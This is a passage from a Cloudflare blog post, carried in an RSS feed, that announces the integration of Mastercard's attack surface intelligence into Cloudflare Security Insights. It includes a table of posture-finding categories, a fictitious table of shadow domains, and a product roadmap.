    <td><span>OpenSSL</span></td>
    <td><span>Unpatched OpenSSL.</span></td>
  </tr>
  <tr>
    <td><span>CMS Patching</span></td>
    <td><span>Unpatched content management system software.</span></td>
  </tr>
  <tr>
    <td><span>Web Servers</span></td>
    <td><span>Unpatched webserver software.</span></td>
  </tr>
  <tr>
    <td><span>Application Security</span></td>
    <td><span>CMS Authentication</span></td>
    <td><span>Enumeration of content management system administration interfaces publicly exposed to the internet.</span></td>
  </tr>
  <tr>
    <td><span>High Value System Encryption</span></td>
    <td><span>Enumeration of systems that collect sensitive data that do not have encryption implemented.</span></td>
  </tr>
  <tr>
    <td><span>Malicious Code</span></td>
    <td><span>Enumeration of systems containing malicious code (Magecart).</span></td>
  </tr>
  <tr>
    <td><span>Web Encryption</span></td>
    <td><span>Certificate Expiration Date</span></td>
    <td><span>SSL certificate expired.</span></td>
  </tr>
  <tr>
    <td><span>Certificate Valid Date</span></td>
    <td><span>SSL certificate valid date not yet valid.</span></td>
  </tr>
  <tr>
    <td><span>Encryption Hash Algorithm</span></td>
    <td><span>Weak SSL encryption hash algorithm.</span></td>
  </tr>
  <tr>
    <td><span>Encryption Key Length</span></td>
    <td><span>Weak SSL encryption key length.</span></td>
  </tr>
  <tr>
    <td><span>Certificate Subject</span></td>
    <td><span>Invalid SSL certificate subject.</span></td>
  </tr>
  <tr>
    <td><span>Exposed Services / Network Filtering</span></td>
    <td><span>Unsafe Network Services</span></td>
    <td><span>Enumeration of unsafe network services running on the system such as databases (e.g. SQL Server, PostgreSQL) and remote access services (e.g. RDP, VNC).</span></td>
  </tr>
  <tr>
    <td><span>IoT Devices</span></td>
    <td><span>Enumeration of IoT devices such as printers, embedded system interfaces, etc.</span></td>
  </tr>
</tbody></table>
    <div>
      <h3>Comprehensive domain discovery, continuous posture visibility, and remediation</h3>
      <a href="#comprehensive-domain-discovery-continuous-posture-visibility-and-remediation">
        
      </a>
    </div>
    <p><a href="https://developers.cloudflare.com/security-center/security-insights/"><u>Cloudflare Security Insights</u></a> in <a href="https://www.cloudflare.com/application-services/products/"><u>Cloudflare’s Application Security</u></a> suite currently identifies risks—such as DNS misconfigurations, weak web encryption, or inactive WAF rules—for any domain already proxied by Cloudflare. However, a significant security gap remains: you cannot protect domains you don’t know exist.</p><p>The integration with Mastercard will eliminate these blind spots. By continuously profiling the Internet footprint of over 12 million organizations, Mastercard identifies domains, hosts, and software stacks associated with your company, even if they aren't yet behind a Cloudflare proxy. This will allow Security Insights to surface shadow IT and unprotected hosts, enabling you to secure them with Cloudflare’s WAF and DDoS protection. </p><p>Visibility is only the first step; understanding the criticality of discovered assets is what allows security teams to prioritize findings. Each host is assigned a criticality level:</p><ul><li><p><b>High Criticality:</b> Assigned to hosts that collect sensitive data, require authentication, or run sensitive network services like database listeners or remote access.</p></li><li><p><b>Medium Criticality:</b> Assigned to hosts running brochure websites that are adjacent to high-criticality systems, such as those residing on the same class-C network.</p></li><li><p><b>Low Criticality:</b> Assigned to hosts running brochure websites that are not adjacent to any critical systems.</p></li></ul><p>Below is a fictitious example of an organization with many domains that they are unaware of. Of these discovered domains, only one is currently proxied by Cloudflare. Within Security Insights, you will be able to visualize this level of detail for shadow domains and hosts. </p>
<table><colgroup>
<col></col>
<col></col>
<col></col>
<col></col>
<col></col>
<col></col>
</colgroup>
<thead>
  <tr>
    <th><span>Domain</span></th>
    <th><span>Protected by Cloudflare</span></th>
    <th><span>Host (IP)</span></th>
    <th><span>Criticality</span></th>
    <th><span>Location</span></th>
    <th><span>Hosting Provider</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>search-engine.net</span></td>
    <td><span>Yes</span></td>
    <td><a href="http://portal.search-engine.net/"><span>portal.search-engine.net</span></a><span> (10.XXX.XX.5)</span></td>
    <td><span>HIGH</span></td>
    <td><span>Springfield, United States</span></td>
    <td><span>Cloudflare</span></td>
  </tr>
  <tr>
    <td><span>zenith-industries.com</span></td>
    <td><span>No</span></td>
    <td><a href="http://vpn.zenith-industries.com/"><span>vpn.zenith-industries.com</span></a><span> (10.XXX.XXX.106)</span></td>
    <td><span>HIGH</span></td>
    <td><span>Helsinki, Finland</span></td>
    <td><span>CloudNode-Services</span></td>
  </tr>
  <tr>
    <td><span>stratus-global.com</span></td>
    <td><span>No</span></td>
    <td><a href="http://store.stratus-global.com/"><span>store.stratus-global.com</span></a><span> (10.XXX.XXX.124)</span></td>
    <td><span>HIGH</span></td>
    <td><span>Munich, Germany</span></td>
    <td><span>SwiftStream-Tech</span></td>
  </tr>
  <tr>
    <td><span>core-logic.cl</span></td>
    <td><span>No</span></td>
    <td><a href="http://extranet.core-logic.cl/"><span>extranet.core-logic.cl</span></a><span> (10.XXX.XXX.178)</span></td>
    <td><span>HIGH</span></td>
    <td><span>Santiago, Chile</span></td>
    <td><span>SecureCanopy Ltd.</span></td>
  </tr>
  <tr>
    <td><span>vanguard-labs.com</span></td>
    <td><span>No</span></td>
    <td><a href="http://extranet.vanguard-labs.com/"><span>extranet.vanguard-labs.com</span></a><span> (10.XXX.XX.197)</span></td>
    <td><span>HIGH</span></td>
    <td><span>Metropolis, United States</span></td>
    <td><span>GlobalSoft Systems</span></td>
  </tr>
  <tr>
    <td><span>fusion-id.com</span></td>
    <td><span>No</span></td>
    <td><a href="http://fusion-id.com/"><span>fusion-id.com</span></a><span> (10.XXX.XXX.146)</span></td>
    <td><span>HIGH</span></td>
    <td><span>Prague, Czechia</span></td>
    <td><span>EuroData-Hub</span></td>
  </tr>
  <tr>
    <td><span>norden-biotech.no</span></td>
    <td><span>No</span></td>
    <td><a href="http://store.norden-biotech.no/"><span>store.norden-biotech.no</span></a><span> (10.XXX.XX.124)</span></td>
    <td><span>MEDIUM</span></td>
    <td><span>Chicago, United States</span></td>
    <td><span>SwiftStream-Tech</span></td>
  </tr>
  <tr>
    <td><span>norden-biotech.se</span></td>
    <td><span>No</span></td>
    <td><a href="http://store.norden-biotech.se/"><span>store.norden-biotech.se</span></a><span> (10.XXX.XX.124)</span></td>
    <td><span>MEDIUM</span></td>
    <td><span>Chicago, United States</span></td>
    <td><span>SwiftStream-Tech</span></td>
  </tr>
</tbody></table><p><sup><i>Example of shadow domains and unprotected hosts associated with an organization</i></sup></p><p>Mastercard will also allow continuous visibility into the security posture of Internet-facing systems including in areas like software patching, exposed network services (e.g., databases, remote access) and application security (e.g., unauthenticated CMSes) — complementing <a href="https://developers.cloudflare.com/security-center/security-insights/"><u>Cloudflare Security Insights</u></a>, as shown below.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/T3ff3WNmedjbAO76X0fQr/d04a60dc4e1d7093832eec12f653e92e/image1.png" />
          </figure><p><sup><i>Security Insights dashboard with shadow domains, unproxied hosts, and posture findings</i></sup></p><p>These<b> </b>insights are only useful if they lead to action. Instead of just telling you that a domain or host is at risk, <a href="https://developers.cloudflare.com/security-center/security-insights/"><u>Cloudflare Security Insights</u></a> will guide you to fixing them. Possible steps include enabling a Cloudflare proxy (and by extension DDoS and bot protection for shadow zones and hosts), enabling security controls (such as turning on the Web Application Firewall, or WAF) and enforcing stricter TLS encryption to mitigate the specific risks identified by the scan.</p>
    <div>
      <h3>What’s next: updated security insights dashboard</h3>
      <a href="#whats-next-updated-security-insights-dashboard">
        
      </a>
    </div>
    <p>We are currently working on integrating Mastercard’s RiskRecon attack surface intelligence into the <a href="https://developers.cloudflare.com/security-center/security-insights/"><u>Cloudflare Security Insights</u></a> dashboard to provide immediate visibility into shadow domains, unprotected hosts and the posture gaps associated with them.</p><p>With an increasing volume of insights, our roadmap also includes risk scoring and building AI-assisted diagnosis paths. That will mean a dashboard that doesn't just show you an insight, but proposes additional relevant correlations (such as traffic to an unpatched host) and suggests the specific WAF rule or <a href="https://blog.cloudflare.com/api-abuse-detection/"><u>API Shield</u></a> configuration required to neutralize it.</p><p>We would love to have you <a href="https://www.cloudflare.com/lp/mastercard-defense-program/"><u>join the waitlist here</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[Security Posture Management]]></category>
            <category><![CDATA[Security Posture]]></category>
            <category><![CDATA[Application Security]]></category>
            <category><![CDATA[Risk Management]]></category>
            <guid isPermaLink="false">50TFdPHZwAQHUcskN0xNgX</guid>
            <dc:creator>Bashyam Anant</dc:creator>
            <dc:creator>Kelly White (Guest author)</dc:creator>
        </item>
    </channel>
</rss>